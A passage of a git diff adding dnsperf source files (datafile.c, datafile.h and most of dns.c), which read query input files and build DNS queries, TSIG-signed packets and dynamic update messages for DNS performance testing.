copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include +#include + +#define ISC_BUFFER_USEINLINE + +#include +#include + +#include "datafile.h" +#include "log.h" +#include "os.h" +#include "util.h" + +#define BUFFER_SIZE (64 * 1024) + +struct perf_datafile { + isc_mem_t *mctx; + pthread_mutex_t lock; + int pipe_fd; + int fd; + isc_boolean_t is_file; + size_t size; + isc_boolean_t cached; + char databuf[BUFFER_SIZE + 1]; + isc_buffer_t data; + unsigned int maxruns; + unsigned int nruns; + isc_boolean_t read_any; +}; + +static inline void +nul_terminate(perf_datafile_t *dfile) +{ + unsigned char *data; + + data = isc_buffer_used(&dfile->data); + *data = '\0'; +} + +perf_datafile_t * +perf_datafile_open(isc_mem_t *mctx, const char *filename) +{ + perf_datafile_t *dfile; + struct stat buf; + + dfile = isc_mem_get(mctx, sizeof(*dfile)); + if (dfile == NULL) + perf_log_fatal("out of memory"); + + dfile->mctx = mctx; + MUTEX_INIT(&dfile->lock); + dfile->pipe_fd = -1; + dfile->is_file = ISC_FALSE; + dfile->size = 0; + dfile->cached = ISC_FALSE; + dfile->maxruns = 1; + dfile->nruns = 0; + dfile->read_any = ISC_FALSE; + isc_buffer_init(&dfile->data, dfile->databuf, BUFFER_SIZE); + if (filename == NULL) { + dfile->fd = STDIN_FILENO; + } else { + dfile->fd = open(filename, O_RDONLY); + if (dfile->fd < 0) + perf_log_fatal("unable to open file: %s", filename); + if (fstat(dfile->fd, &buf) == 0 && S_ISREG(buf.st_mode)) { + dfile->is_file = ISC_TRUE; + dfile->size = buf.st_size; + } + } + nul_terminate(dfile); + + return dfile; +} + +void +perf_datafile_close(perf_datafile_t **dfilep) +{ + perf_datafile_t *dfile; + + ISC_INSIST(dfilep != NULL && *dfilep != NULL); + + dfile = *dfilep; + *dfilep = NULL; + + if (dfile->fd >= 0 && dfile->fd != STDIN_FILENO) + close(dfile->fd); + MUTEX_DESTROY(&dfile->lock); + isc_mem_put(dfile->mctx, dfile, sizeof(*dfile)); +} + +void +perf_datafile_setpipefd(perf_datafile_t *dfile, int pipe_fd) +{ + dfile->pipe_fd = pipe_fd; +} + +void +perf_datafile_setmaxruns(perf_datafile_t *dfile, unsigned int maxruns) +{ + dfile->maxruns = maxruns; +} + +static void +reopen_file(perf_datafile_t *dfile) +{ + if (dfile->cached) { + isc_buffer_first(&dfile->data); + } else { + if (lseek(dfile->fd, 0L, SEEK_SET) < 0) + perf_log_fatal("cannot reread input"); + isc_buffer_clear(&dfile->data); + nul_terminate(dfile); + } +} + +static isc_result_t +read_more(perf_datafile_t *dfile) +{ + unsigned char *data; + size_t size; + ssize_t n; + isc_result_t result; + + if (!dfile->is_file && dfile->pipe_fd >= 0) { + result = perf_os_waituntilreadable(dfile->fd, dfile->pipe_fd, + -1); + if (result != ISC_R_SUCCESS) + return (result); + } + + isc_buffer_compact(&dfile->data); + data = isc_buffer_used(&dfile->data); + size = isc_buffer_availablelength(&dfile->data); + + n = read(dfile->fd, data, size); + if (n < 0) + return (ISC_R_FAILURE); + + isc_buffer_add(&dfile->data, n); + nul_terminate(dfile); + + if (dfile->is_file && + isc_buffer_usedlength(&dfile->data) == dfile->size) + dfile->cached = ISC_TRUE; + + return (ISC_R_SUCCESS); +} + +static isc_result_t +read_one_line(perf_datafile_t *dfile, isc_buffer_t *lines) +{ + const char *cur; + unsigned int length, curlen, nrem; + isc_result_t result; + + while (ISC_TRUE) { + /* Get the current line */ + cur = isc_buffer_current(&dfile->data); + curlen = strcspn(cur, "\n"); + + /* + * If the current line contains the rest of the buffer, + * we need to read more (unless the full file is cached). + */ + nrem = isc_buffer_remaininglength(&dfile->data); + if (curlen == nrem) { + if (! dfile->cached) { + result = read_more(dfile); + if (result != ISC_R_SUCCESS) + return (result); + } + if (isc_buffer_remaininglength(&dfile->data) == 0) { + dfile->nruns++; + return (ISC_R_EOF); + } + if (isc_buffer_remaininglength(&dfile->data) > nrem) + continue; + } + + /* We now have a line. Advance the buffer past it. */ + isc_buffer_forward(&dfile->data, curlen); + if (isc_buffer_remaininglength(&dfile->data) > 0) + isc_buffer_forward(&dfile->data, 1); + + /* If the line is empty or a comment, we need to try again. */ + if (curlen > 0 && cur[0] != ';') + break; + } + + length = isc_buffer_availablelength(lines); + if (curlen > length - 1) + curlen = length - 1; + isc_buffer_putmem(lines, cur, curlen); + isc_buffer_putuint8(lines, 0); + + return (ISC_R_SUCCESS); +} + +isc_result_t +perf_datafile_next(perf_datafile_t *dfile, isc_buffer_t *lines, + isc_boolean_t is_update) +{ + const char *current; + isc_result_t result; + + LOCK(&dfile->lock); + + if (dfile->maxruns > 0 && dfile->maxruns == dfile->nruns) { + result = ISC_R_EOF; + goto done; + } + + result = read_one_line(dfile, lines); + if (result == ISC_R_EOF) { + if (!dfile->read_any) { + result = ISC_R_INVALIDFILE; + goto done; + } + if (dfile->maxruns != dfile->nruns) { + reopen_file(dfile); + result = read_one_line(dfile, lines); + + } + } + if (result != ISC_R_SUCCESS) { + goto done; + } + dfile->read_any = ISC_TRUE; + + if (is_update) { + while (ISC_TRUE) { + current = isc_buffer_current(lines); + result = read_one_line(dfile, lines); + if (result == ISC_R_EOF && + dfile->maxruns != dfile->nruns) { + reopen_file(dfile); + } + if (result != ISC_R_SUCCESS || + strcasecmp(current, "send") == 0) + break; + }; + } + + result = ISC_R_SUCCESS; + done: + UNLOCK(&dfile->lock); + return (result); +} + +unsigned int +perf_datafile_nruns(const perf_datafile_t *dfile) +{ + return dfile->nruns; +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/datafile.h b/dns-projects/dnsperf-src-2.0.0.0-1/datafile.h new file mode 100644 index 0000000..c9d92a5 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/datafile.h @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef PERF_DATAFILE_H +#define PERF_DATAFILE_H 1 + +#include + +typedef struct perf_datafile perf_datafile_t; + +perf_datafile_t * +perf_datafile_open(isc_mem_t *mctx, const char *filename); + +void +perf_datafile_close(perf_datafile_t **dfilep); + +void +perf_datafile_setmaxruns(perf_datafile_t *dfile, unsigned int maxruns); + +void +perf_datafile_setpipefd(perf_datafile_t *dfile, int pipe_fd); + +isc_result_t +perf_datafile_next(perf_datafile_t *dfile, isc_buffer_t *lines, + isc_boolean_t is_update); + +unsigned int +perf_datafile_nruns(const perf_datafile_t *dfile); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/dns.c b/dns-projects/dnsperf-src-2.0.0.0-1/dns.c new file mode 100644 index 0000000..e0fc519 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/dns.c @@ -0,0 +1,849 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include +#include +#include +#include +#include + +#define ISC_BUFFER_USEINLINE + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "dns.h" +#include "log.h" +#include "opt.h" + +#define WHITESPACE " \t\n" + +#define MAX_RDATA_LENGTH 65535 +#define EDNSLEN 11 + +const char *perf_dns_rcode_strings[] = { + "NOERROR", "FORMERR", "SERVFAIL", "NXDOMAIN", + "NOTIMP", "REFUSED", "YXDOMAIN", "YXRRSET", + "NXRRSET", "NOTAUTH", "NOTZONE", "rcode11", + "rcode12", "rcode13", "rcode14", "rcode15" +}; + +#define TSIG_HMACMD5_NAME "\010hmac-md5\007sig-alg\003reg\003int" +#define TSIG_HMACSHA1_NAME "\011hmac-sha1" +#define TSIG_HMACSHA224_NAME "\013hmac-sha224" +#define TSIG_HMACSHA256_NAME "\013hmac-sha256" +#define TSIG_HMACSHA384_NAME "\013hmac-sha384" +#define TSIG_HMACSHA512_NAME "\013hmac-sha512" + +typedef enum { + TSIG_HMACMD5, + TSIG_HMACSHA1, + TSIG_HMACSHA224, + TSIG_HMACSHA256, + TSIG_HMACSHA384, + TSIG_HMACSHA512 +} hmac_type_t; + +typedef union { + isc_hmacmd5_t hmacmd5; + isc_hmacsha1_t hmacsha1; + isc_hmacsha224_t hmacsha224; + isc_hmacsha256_t hmacsha256; + isc_hmacsha384_t hmacsha384; + isc_hmacsha512_t hmacsha512; +} hmac_ctx_t; + +struct perf_dnstsigkey { + isc_mem_t *mctx; + unsigned int alglen; + isc_constregion_t alg; + hmac_type_t hmactype; + unsigned int digestlen; + dns_fixedname_t fname; + dns_name_t *name; + unsigned char secretdata[256]; + isc_buffer_t secret; +}; + +struct perf_dnsctx { + isc_mem_t *mctx; + dns_compress_t compress; + isc_lex_t *lexer; +}; + +perf_dnsctx_t * +perf_dns_createctx(isc_boolean_t updates) +{ + isc_mem_t *mctx; + perf_dnsctx_t *ctx; + isc_result_t result; + + if (!updates) + return NULL; + + mctx = NULL; + result = isc_mem_create(0, 0, &mctx); + if (result != ISC_R_SUCCESS) + perf_log_fatal("creating memory context: %s", + isc_result_totext(result)); + + ctx = isc_mem_get(mctx, sizeof(*ctx)); + if (ctx == NULL) + perf_log_fatal("out of memory"); + + memset(ctx, 0, sizeof(*ctx)); + ctx->mctx = mctx; + + result = dns_compress_init(&ctx->compress, 0, ctx->mctx); + if (result != ISC_R_SUCCESS) { + perf_log_fatal("creating compression context: %s", + isc_result_totext(result)); + } + dns_compress_setmethods(&ctx->compress, DNS_COMPRESS_GLOBAL14); + + result = isc_lex_create(ctx->mctx, 1024, &ctx->lexer); + if (result != ISC_R_SUCCESS) { + perf_log_fatal("creating lexer: %s", + isc_result_totext(result)); + } + + return (ctx); +} + +void +perf_dns_destroyctx(perf_dnsctx_t **ctxp) +{ + perf_dnsctx_t *ctx; + isc_mem_t *mctx; + + INSIST(ctxp != NULL); + ctx = *ctxp; + *ctxp = NULL; + + if (ctx == NULL) + return; + + mctx = ctx->mctx; + isc_lex_destroy(&ctx->lexer); + dns_compress_invalidate(&ctx->compress); + isc_mem_put(mctx, ctx, sizeof(*ctx)); + isc_mem_destroy(&mctx); +} + +static isc_result_t +name_fromstring(dns_name_t *name, dns_name_t *origin, + const char *str, unsigned int len, + isc_buffer_t *target, const char *type) +{ + isc_buffer_t buffer; + isc_result_t result; + + isc_buffer_init(&buffer, str, len); + isc_buffer_add(&buffer, len); + result = dns_name_fromtext(name, &buffer, origin, 0, target); + if (result != ISC_R_SUCCESS) + perf_log_warning("invalid %s name: %.*s", type, (int)len, str); + return result; +} + +#define SET_KEY(key, type) do { \ + (key)->alg.base = TSIG_HMAC ## type ## _NAME; \ + (key)->alg.length = sizeof(TSIG_HMAC ## type ## _NAME); \ + (key)->hmactype = TSIG_HMAC ## type; \ + (key)->digestlen = ISC_ ## type ## _DIGESTLENGTH; \ + } while (0) + +perf_dnstsigkey_t * +perf_dns_parsetsigkey(const char *arg, isc_mem_t *mctx) +{ + perf_dnstsigkey_t *tsigkey; + const char *sep1, *sep2, *alg, *name, *secret; + int alglen, namelen; + isc_result_t result; + + tsigkey = isc_mem_get(mctx, sizeof (*tsigkey)); + if (tsigkey == NULL) + perf_log_fatal("out of memory"); + memset(tsigkey, 0, sizeof (*tsigkey)); + tsigkey->mctx = mctx; + + sep1 = strchr(arg, ':'); + if (sep1 == NULL) { + perf_log_warning("invalid TSIG [alg:]name:secret"); + perf_opt_usage(); + exit(1); + } + + sep2 = strchr(sep1 + 1, ':'); + if (sep2 == NULL) { + /* name:key */ + alg = NULL; + alglen = 0; + name = arg; + namelen = sep1 - arg; + secret = sep1 + 1; + } else { + /* [alg:]name:secret */ + alg = arg; + alglen = sep1 - arg; + name = sep1 + 1; + namelen = sep2 - sep1 - 1; + secret = sep2 + 1; + } + + /* Algorithm */ + + if (alg == NULL || strncasecmp(alg, "hmac-md5:", 9) == 0) { + SET_KEY(tsigkey, MD5); + } else if (strncasecmp(alg, "hmac-sha1:", 10) == 0) { + SET_KEY(tsigkey, SHA1); + } else if (strncasecmp(alg, "hmac-sha224:", 12) == 0) { + SET_KEY(tsigkey, SHA224); + } else if (strncasecmp(alg, "hmac-sha256:", 12) == 0) { + SET_KEY(tsigkey, SHA256); + } else if (strncasecmp(alg, "hmac-sha384:", 12) == 0) { + SET_KEY(tsigkey, SHA384); + } else if (strncasecmp(alg, "hmac-sha512:", 12) == 0) { + SET_KEY(tsigkey, SHA512); + } else { + perf_log_warning("invalid TSIG algorithm %.*s", alglen, alg); + perf_opt_usage(); + exit(1); + } + + /* Name */ + + dns_fixedname_init(&tsigkey->fname); + tsigkey->name = dns_fixedname_name(&tsigkey->fname); + result = name_fromstring(tsigkey->name, dns_rootname, name, namelen, + NULL, "TSIG key"); + if (result != ISC_R_SUCCESS) { + perf_opt_usage(); + exit(1); + } + (void)dns_name_downcase(tsigkey->name, tsigkey->name, NULL); + + /* Secret */ + + isc_buffer_init(&tsigkey->secret, tsigkey->secretdata, + sizeof(tsigkey->secretdata)); + result = isc_base64_decodestring(secret, &tsigkey->secret); + if (result != ISC_R_SUCCESS) { + perf_log_warning("invalid TSIG secret '%s'", secret); + perf_opt_usage(); + exit(1); + } + + return tsigkey; +} + +void +perf_dns_destroytsigkey(perf_dnstsigkey_t **tsigkeyp) +{ + perf_dnstsigkey_t *tsigkey; + + INSIST(tsigkeyp != NULL && *tsigkeyp != NULL); + + tsigkey = *tsigkeyp; + *tsigkeyp = NULL; + + isc_mem_put(tsigkey->mctx, tsigkey, sizeof(*tsigkey)); +} + +/* + * Appends an OPT record to the packet. + */ +static isc_result_t +add_edns(isc_buffer_t *packet, isc_boolean_t dnssec) { + unsigned char *base; + + if (isc_buffer_availablelength(packet) < EDNSLEN) { + perf_log_warning("failed to add OPT to query packet"); + return (ISC_R_NOSPACE); + } + + base = isc_buffer_base(packet); + + isc_buffer_putuint8(packet, 0); /* root name */ + isc_buffer_putuint16(packet, dns_rdatatype_opt);/* type */ + isc_buffer_putuint16(packet, MAX_EDNS_PACKET); /* class */ + isc_buffer_putuint8(packet, 0); /* xrcode */ + isc_buffer_putuint8(packet, 0); /* version */ + if (dnssec) /* flags */ + isc_buffer_putuint16(packet, 0x8000); + else + isc_buffer_putuint16(packet, 0); + isc_buffer_putuint16(packet, 0); /* rdlen */ + + base[11]++; /* increment record count */ + + return (ISC_R_SUCCESS); +} + +static void +hmac_init(perf_dnstsigkey_t *tsigkey, hmac_ctx_t *ctx) +{ + unsigned char *secret; + unsigned int length; + + secret = isc_buffer_base(&tsigkey->secret); + length = isc_buffer_usedlength(&tsigkey->secret); + + switch (tsigkey->hmactype) { + case TSIG_HMACMD5: + isc_hmacmd5_init(&ctx->hmacmd5, secret, length); + break; + case TSIG_HMACSHA1: + isc_hmacsha1_init(&ctx->hmacsha1, secret, length); + break; + case TSIG_HMACSHA224: + isc_hmacsha224_init(&ctx->hmacsha224, secret, length); + break; + case TSIG_HMACSHA256: + isc_hmacsha256_init(&ctx->hmacsha256, secret, length); + break; + case TSIG_HMACSHA384: + isc_hmacsha384_init(&ctx->hmacsha384, secret, length); + break; + case TSIG_HMACSHA512: + isc_hmacsha512_init(&ctx->hmacsha512, secret, length); + break; + } +} + +static void +hmac_update(perf_dnstsigkey_t *tsigkey, hmac_ctx_t *ctx, + unsigned char *data, unsigned int length) +{ + switch (tsigkey->hmactype) { + case TSIG_HMACMD5: + isc_hmacmd5_update(&ctx->hmacmd5, data, length); + break; + case TSIG_HMACSHA1: + isc_hmacsha1_update(&ctx->hmacsha1, data, length); + break; + case TSIG_HMACSHA224: + isc_hmacsha224_update(&ctx->hmacsha224, data, length); + break; + case TSIG_HMACSHA256: + isc_hmacsha256_update(&ctx->hmacsha256, data, length); + break; + case TSIG_HMACSHA384: + isc_hmacsha384_update(&ctx->hmacsha384, data, length); + break; + case TSIG_HMACSHA512: + isc_hmacsha512_update(&ctx->hmacsha512, data, length); + break; + } +} + +static void +hmac_sign(perf_dnstsigkey_t *tsigkey, hmac_ctx_t *ctx, unsigned char *digest, + unsigned int digestlen) +{ + switch (tsigkey->hmactype) { + case TSIG_HMACMD5: + isc_hmacmd5_sign(&ctx->hmacmd5, digest); + break; + case TSIG_HMACSHA1: + isc_hmacsha1_sign(&ctx->hmacsha1, digest, digestlen); + break; + case TSIG_HMACSHA224: + isc_hmacsha224_sign(&ctx->hmacsha224, digest, digestlen); + break; + case TSIG_HMACSHA256: + isc_hmacsha256_sign(&ctx->hmacsha256, digest, digestlen); + break; + case TSIG_HMACSHA384: + isc_hmacsha384_sign(&ctx->hmacsha384, digest, digestlen); + break; + case TSIG_HMACSHA512: + isc_hmacsha512_sign(&ctx->hmacsha512, digest, digestlen); + break; + } +} + +/* + * Appends a TSIG record to the packet. + */ +static isc_result_t +add_tsig(isc_buffer_t *packet, perf_dnstsigkey_t *tsigkey) +{ + unsigned char *base; + hmac_ctx_t hmac; + isc_region_t name_r; + isc_region_t *alg_r; + unsigned int rdlen, totallen; + unsigned char tmpdata[512]; + isc_buffer_t tmp; + isc_uint32_t now; + unsigned char digest[ISC_SHA256_DIGESTLENGTH]; + + hmac_init(tsigkey, &hmac); + now = time(NULL); + dns_name_toregion(tsigkey->name, &name_r); + alg_r = (isc_region_t *) &tsigkey->alg; + + /* Make sure everything will fit */ + rdlen = tsigkey->alglen + 16 + tsigkey->digestlen; + totallen = name_r.length + 10 + rdlen; + if (totallen > isc_buffer_availablelength(packet)) { + perf_log_warning("adding TSIG: out of space"); + return (ISC_R_NOSPACE); + } + + base = isc_buffer_base(packet); + + /* Digest the message */ + hmac_update(tsigkey, &hmac, isc_buffer_base(packet), + isc_buffer_usedlength(packet)); + + /* Digest the TSIG record */ + isc_buffer_init(&tmp, tmpdata, sizeof tmpdata); + isc_buffer_copyregion(&tmp, &name_r); /* name */ + isc_buffer_putuint16(&tmp, dns_rdataclass_any); /* class */ + isc_buffer_putuint32(&tmp, 0); /* ttl */ + isc_buffer_copyregion(&tmp, alg_r); /* alg */ + isc_buffer_putuint16(&tmp, 0); /* time high */ + isc_buffer_putuint32(&tmp, now); /* time low */ + isc_buffer_putuint16(&tmp, 300); /* fudge */ + isc_buffer_putuint16(&tmp, 0); /* error */ + isc_buffer_putuint16(&tmp, 0); /* other length */ + hmac_update(tsigkey, &hmac, isc_buffer_base(&tmp), + isc_buffer_usedlength(&tmp)); + hmac_sign(tsigkey, &hmac, digest, tsigkey->digestlen); + + /* Add the TSIG record. */ + isc_buffer_copyregion(packet, &name_r); /* name */ + isc_buffer_putuint16(packet, dns_rdatatype_tsig); /* type */ + isc_buffer_putuint16(packet, dns_rdataclass_any); /* class */ + isc_buffer_putuint32(packet, 0); /* ttl */ + isc_buffer_putuint16(packet, rdlen); /* rdlen */ + isc_buffer_copyregion(packet, alg_r); /* alg */ + isc_buffer_putuint16(packet, 0); /* time high */ + isc_buffer_putuint32(packet, now); /* time low */ + isc_buffer_putuint16(packet, 300); /* fudge */ + isc_buffer_putuint16(packet, tsigkey->digestlen); /* digest len */ + isc_buffer_putmem(packet, digest, tsigkey->digestlen); /* digest */ + isc_buffer_putmem(packet, base, 2); /* orig ID */ + isc_buffer_putuint16(packet, 0); /* error */ + isc_buffer_putuint16(packet, 0); /* other len */ + + base[11]++; /* increment record count */ + + return (ISC_R_SUCCESS); +} + +static isc_result_t +build_query(const isc_textregion_t *line, isc_buffer_t *msg) +{ + char *domain_str; + int domain_len; + dns_name_t name; + dns_offsets_t offsets; + isc_textregion_t qtype_r; + dns_rdatatype_t qtype; + isc_result_t result; + + domain_str = line->base; + domain_len = strcspn(line->base, WHITESPACE); + + qtype_r.base = line->base + domain_len; + while (isspace(*qtype_r.base & 0xff)) + qtype_r.base++; + qtype_r.length = strcspn(qtype_r.base, WHITESPACE); + + /* Create the question section */ + DNS_NAME_INIT(&name, offsets); + result = name_fromstring(&name, dns_rootname, domain_str, domain_len, + msg, "domain"); + if (result != ISC_R_SUCCESS) + return (result); + + if (qtype_r.length == 0) { + perf_log_warning("invalid query input format: %s", line->base); + return (ISC_R_FAILURE); + } + result = dns_rdatatype_fromtext(&qtype, &qtype_r); + if (result != ISC_R_SUCCESS) { + perf_log_warning("invalid query type: %.*s", + (int) qtype_r.length, qtype_r.base); + return (ISC_R_FAILURE); + } + + isc_buffer_putuint16(msg, qtype); + isc_buffer_putuint16(msg, dns_rdataclass_in); + + return ISC_R_SUCCESS; +} + +static isc_boolean_t +token_equals(const isc_textregion_t *token, const char *str) +{ + return (strlen(str) == token->length && + strncasecmp(str, token->base, token->length) == 0); +} + +/* + * Reads one line containing an individual update for a dynamic update message. + */ +static isc_result_t +read_update_line(perf_dnsctx_t *ctx, const isc_textregion_t *line, char *str, + dns_name_t *zname, int want_ttl, int need_type, + int want_rdata, int need_rdata, dns_name_t *name, + isc_uint32_t *ttlp, dns_rdatatype_t *typep, + dns_rdata_t *rdata, isc_buffer_t *rdatabuf) +{ + char *curr_str; + unsigned int curr_len; + isc_buffer_t buffer; + isc_textregion_t src; + dns_rdatacallbacks_t callbacks; + isc_result_t result; + + while (isspace(*str & 0xff)) + str++; + + /* Read the owner name */ + curr_str = str; + curr_len = strcspn(curr_str, WHITESPACE); + result = name_fromstring(name, zname, curr_str, curr_len, NULL, + "owner"); + if (result != ISC_R_SUCCESS) + return (result); + str += curr_len; + while (isspace(*str & 0xff)) + str++; + + /* Read the ttl */ + if (want_ttl) { + curr_str = str; + curr_len = strcspn(curr_str, WHITESPACE); + src.base = curr_str; + src.length = curr_len; + result = dns_ttl_fromtext(&src, ttlp); + if (result != ISC_R_SUCCESS) { + perf_log_warning("invalid ttl: %.*s", + curr_len, curr_str); + return (result); + } + str += curr_len; + while (isspace(*str & 0xff)) + str++; + } + + /* Read the type */ + curr_str = str; + curr_len = strcspn(curr_str, WHITESPACE); + if (curr_len == 0) { + if (!need_type) + return (ISC_R_SUCCESS); + perf_log_warning("invalid update command: %s", line->base); + return (ISC_R_SUCCESS); + } + src.base = curr_str; + src.length = curr_len; + result = dns_rdatatype_fromtext(typep, &src); + if (result != ISC_R_SUCCESS) { + perf_log_warning("invalid type: %.*s", curr_len, curr_str); + return (result); + } + str += curr_len; + while (isspace(*str & 0xff)) + str++; + + /* Read the rdata */ + if (!want_rdata) + return (ISC_R_SUCCESS); + + if (*str == 0) { + if (!need_rdata) + return (ISC_R_SUCCESS); + perf_log_warning("invalid update command: %s\n", line->base); + return (ISC_R_FAILURE); + } + + isc_buffer_init(&buffer, str, strlen(str)); + isc_buffer_add(&buffer, strlen(str)); + result = isc_lex_openbuffer(ctx->lexer, &buffer); + if (result != ISC_R_SUCCESS) { + perf_log_warning("setting up lexer: %s", + isc_result_totext(result)); + return (result); + } + dns_rdatacallbacks_init_stdio(&callbacks); + result = dns_rdata_fromtext(rdata, dns_rdataclass_in, *typep, + ctx->lexer, zname, 0, ctx->mctx, rdatabuf, + &callbacks); + (void)isc_lex_close(ctx->lexer); + if (result != ISC_R_SUCCESS) { + perf_log_warning("parsing rdata: %s", str); + return (result); + } + + return (ISC_R_SUCCESS); +} + +/* + * Reads a complete dynamic update message and sends it. + */ +static isc_result_t +build_update(perf_dnsctx_t *ctx, const isc_textregion_t *record, + isc_buffer_t *msg) +{ + isc_textregion_t input; + char *msgbase; + isc_buffer_t rdlenbuf, rdatabuf; + unsigned char rdataarray[MAX_RDATA_LENGTH]; + isc_textregion_t token; + char *str; + isc_boolean_t is_update; + int updates = 0; + int prereqs = 0; + dns_fixedname_t fzname, foname; + dns_name_t *zname, *oname; + isc_uint32_t ttl; + dns_rdatatype_t rdtype; + dns_rdataclass_t rdclass; + dns_rdata_t rdata; + isc_uint16_t rdlen; + isc_result_t result; + + /* Reset compression context */ + dns_compress_rollback(&ctx->compress, 0); + + input = *record; + msgbase = isc_buffer_base(msg); + + /* Initialize */ + + dns_fixedname_init(&foname); + oname = dns_fixedname_name(&foname); + + /* Parse zone name */ + dns_fixedname_init(&fzname); + zname = dns_fixedname_name(&fzname); + result = name_fromstring(zname, dns_rootname, + input.base, strlen(input.base), + NULL, "zone"); + if (result != ISC_R_SUCCESS) + goto done; + + /* Render zone section */ + result = dns_name_towire(zname, &ctx->compress, msg); + if (result != ISC_R_SUCCESS) { + perf_log_warning("error rendering zone name: %s", + isc_result_totext(result)); + goto done; + } + isc_buffer_putuint16(msg, dns_rdatatype_soa); + isc_buffer_putuint16(msg, dns_rdataclass_in); + + while (ISC_TRUE) { + input.base += strlen(input.base) + 1; + if (input.base >= record->base + record->length) { + perf_log_warning("warning: incomplete update"); + goto done; + } + + ttl = 0; + rdtype = dns_rdatatype_any; + isc_buffer_init(&rdatabuf, rdataarray, sizeof(rdataarray)); + dns_rdata_init(&rdata); + rdlen = 0; + rdclass = dns_rdataclass_in; + is_update = ISC_FALSE; + + token.base = input.base; + token.length = strcspn(token.base, WHITESPACE); + str = input.base + token.length; + if (token_equals(&token, "send")) { + break; + } else if (token_equals(&token, "add")) { + result = read_update_line(ctx, &input, str, zname, + ISC_TRUE, + ISC_TRUE, ISC_TRUE, ISC_TRUE, + oname, &ttl, &rdtype, + &rdata, &rdatabuf); + rdclass = dns_rdataclass_in; + is_update = ISC_TRUE; + } else if (token_equals(&token, "delete")) { + result = read_update_line(ctx, &input, str, zname, + ISC_FALSE, + ISC_FALSE, ISC_TRUE, + ISC_FALSE, oname, &ttl, + &rdtype, &rdata, &rdatabuf); + if (isc_buffer_usedlength(&rdatabuf) > 0) + rdclass = dns_rdataclass_none; + else + rdclass = dns_rdataclass_any; + is_update = ISC_TRUE; + } else if (token_equals(&token, "require")) { + result = read_update_line(ctx, &input, str, zname, + ISC_FALSE, + ISC_FALSE, ISC_TRUE, + ISC_FALSE, oname, &ttl, + &rdtype, &rdata, &rdatabuf); + if (isc_buffer_usedlength(&rdatabuf) > 0) + rdclass = dns_rdataclass_in; + else + rdclass = dns_rdataclass_any; + is_update = ISC_FALSE; + } else if (token_equals(&token, "prohibit")) { + result = read_update_line(ctx, &input, str, zname, + ISC_FALSE, + ISC_FALSE, ISC_FALSE, + ISC_FALSE, oname, &ttl, + &rdtype, &rdata, &rdatabuf); + rdclass = dns_rdataclass_none; + is_update = ISC_FALSE; + } else { + perf_log_warning("invalid update command: %s", + input.base); + result = ISC_R_FAILURE; + } + + if (result != ISC_R_SUCCESS) + goto done; + + if (!is_update && updates > 0) { + perf_log_warning("prereqs must precede updates"); + result = ISC_R_FAILURE; + goto done; + } + + /* Render record */ + result = dns_name_towire(oname, &ctx->compress, msg); + if (result != ISC_R_SUCCESS) { + perf_log_warning("rendering record name: %s", + isc_result_totext(result)); + goto done; + } + if (isc_buffer_availablelength(msg) < 10) { 